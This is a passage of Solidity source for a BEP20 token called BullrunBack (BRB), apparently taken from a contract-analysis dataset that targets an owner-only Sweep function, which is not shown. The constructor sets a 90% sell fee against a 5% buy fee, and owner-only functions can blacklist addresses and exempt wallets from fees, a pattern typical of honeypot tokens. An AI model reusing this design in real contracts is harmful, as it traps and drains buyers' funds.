// Contract: brbF
// Target function: function Sweep() external onlyOwner
) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount 
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,
                "BEP20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue,
                "BEP20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount,"BEP20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "BEP20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

abstract contract Ownable is Context {

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address owner) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint256);

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r,
                    bytes32 s) external;

    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out,
               uint256 amount1Out, address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1,
                                                  uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
    function kLast() external view returns (uint256);

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired,
                          uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline)
                          external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin,
                             uint256 amountETHMin, address to, uint256 deadline)
                             external payable returns (uint256 amountToken, uint256 amountETH,
                             uint256 liquidity);

    function removeLiquidity(address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin,
                             uint256 amountBMin, address to, uint256 deadline) 
                             external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(address token, uint256 liquidity, uint256 amountTokenMin,
                                uint256 amountETHMin, address to, uint256 deadline) 
                                external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(address tokenA, address tokenB, uint256 liquidity,
                                       uint256 amountAMin, uint256 amountBMin, address to,
                                       uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) 
                                       external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(address token, uint256 liquidity, uint256 amountTokenMin,
                                          uint256 amountETHMin, address to, uint256 deadline,
                                          bool approveMax, uint8 v, bytes32 r, bytes32 s) 
                                          external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path,
                                      address to, uint256 deadline) 
                                      external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(uint256 amountOut, uint256 amountInMax, address[] calldata path,
                                      address to, uint256 deadline) 
                                      external returns (uint256[] memory amounts);

    function swapExactETHForTokens(uint256 amountOutMin, address[] calldata path, address to,
                                   uint256 deadline) 
                                   external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(uint256 amountOut, uint256 amountInMax, address[] calldata path,
                                   address to, uint256 deadline) 
                                   external returns (uint256[] memory amounts);

    function swapExactTokensForETH(uint256 amountIn, uint256 amountOutMin, address[] calldata path,
                                   address to, uint256 deadline) 
                                   external returns (uint256[] memory amounts);

    function swapETHForExactTokens(uint256 amountOut, address[] calldata path, address to,
                                   uint256 deadline) 
                                   external payable returns (uint256[] memory amounts);

    function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) 
                   external pure returns (uint256 amountB);

    function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) 
                          external pure returns (uint256 amountOut);

    function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) 
                         external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
                           external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
                          external view returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint256 liquidity,
        uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) 
        external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint256 liquidity,
        uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax,
        uint8 v, bytes32 r, bytes32 s) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin,
        address[] calldata path, address to, uint256 deadline) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
        address[] calldata path, address to, uint256 deadline) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin,
        address[] calldata path, address to, uint256 deadline) external;
}

contract brbF is BEP20, Ownable { // 
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;

    address public uniswapV2Pair;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;
    bool private swapping;
    bool public tradingEnabled = false;

    uint256 internal sellAmount = 0;
    uint256 internal buyAmount = 0;

    uint256 private totalSellFees;
    uint256 private totalBuyFees;

    address payable public marketingWallet; //
    address payable public devWallet; //

    uint256 public maxWallet;
    bool public maxWalletEnabled = true;
    uint256 public swapTokensAtAmount;
    uint256 public sellMarketingFees;
    uint256 public sellBurnFee;
    uint256 public buyMarketingFees;
    uint256 public buyBurnFee;
    uint256 public buyDevFee;
    uint256 public sellDevFee;

    bool public swapAndLiquifyEnabled = true;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isBot;
    mapping(address => bool) public automatedMarketMakerPairs;
    mapping(address => bool) private canTransferBeforeTradingIsEnabled;

    bool public limitsInEffect = false; 
    uint256 private gasPriceLimit = 50 * 1 gwei; // 
    mapping(address => uint256) private _holderLastTransferBlock; //
    mapping(address => uint256) private _holderLastTransferTimestamp; //  
    uint256 public launchblock; // 
    uint256 public launchtimestamp; // 
    uint256 public cooldowntimer = 0; // 

    event EnableSwapAndLiquify(bool enabled);
    event SetPreSaleWallet(address wallet);
    event updateMarketingWallet(address wallet);
    event updateDevWallet(address wallet);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event TradingEnabled();

    event UpdateFees(uint256 sellMarketingFees, uint256 sellBurnFee, uint256 buyMarketingFees,
                     uint256 buyBurnFee, uint256 buyDevFee, uint256 sellDevFee);

    event Airdrop(address holder, uint256 amount);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event blackList(address);
    event unblackList(address);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    event SendDividends(uint256 opAmount, bool success);

    constructor() BEP20("BullrunBack", "BRB") { // 
        marketingWallet = payable(0xcEFfdeA963A3c43099841298cBDA6b044C61618B); // 
        devWallet = payable(0xaDC78E42D92476F400B08CA9BF61d15Ee1c9b2F7); // 
        address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /// 

        //INITIAL FEE VALUES HERE
        buyMarketingFees = 2;
        sellMarketingFees = 45;
        buyBurnFee = 0;
        sellBurnFee = 0;
        buyDevFee = 3;
        sellDevFee = 45;

        // TOTAL BUY AND TOTAL SELL FEE CALCS
        totalBuyFees = buyMarketingFees.add(buyDevFee);
        totalSellFees = sellMarketingFees.add(sellDevFee);

        uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this), uniswapV2Router.WETH());

        _setAutomatedMarketMakerPair(uniswapV2Pair, true);

        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[marketingWallet] = true;

        uint256 totalSupply = (1_000_000) * (10**18); // 
        _mint(owner(), totalSupply); // 
        maxWallet = _totalSupply / 50; // 
        swapTokensAtAmount = _totalSupply / 1000; // ;
        canTransferBeforeTradingIsEnabled[owner()] = true;
        canTransferBeforeTradingIsEnabled[address(this)] = true;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        require(!tradingEnabled);
        tradingEnabled = true;
        launchblock = block.number;
        launchtimestamp = block.timestamp;
        emit TradingEnabled();
    }
    
    function setMarketingWallet(address wallet) external onlyOwner {
        _isExcludedFromFees[wallet] = true;
        marketingWallet = payable(wallet);
        emit updateMarketingWallet(wallet);
    }

    function setDevWallet(address wallet) external onlyOwner {
        _isExcludedFromFees[wallet] = true;
        devWallet = payable(wallet);
        emit updateDevWallet(wallet);
    }
    
    function setExcludeFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function addBot(address account) public onlyOwner {
        _isBot[account] = true;
        emit blackList(account);
    }

    function removeBot(address account) public onlyOwner {
        _isBot[account] = false;
        emit unblackList(account);
    }

    function setCanTransferBefore(address wallet, bool enable) external onlyOwner {
        canTransferBeforeTradingIsEnabled[wallet] = enable;
    }

    function setLimitsInEffect(bool value) external onlyOwner {
        limitsInEffect = value;
    }

    function setMaxWalletEnabled(bool value) external onlyOwner {
        maxWalletEnabled = value;
    }

    function setcooldowntimer(uint256 value) external onlyOwner {
        require(value <= 300, "cooldown timer cannot exceed 5 minutes");
        cooldowntimer = value;
    }

    
    function setmaxWallet(uint256 value) external onlyOwner {
        value = value * (10**18);
        require(value >= _totalSupply / 100, "max wallet cannot be set to less than 1%");
        maxWallet = value;
    }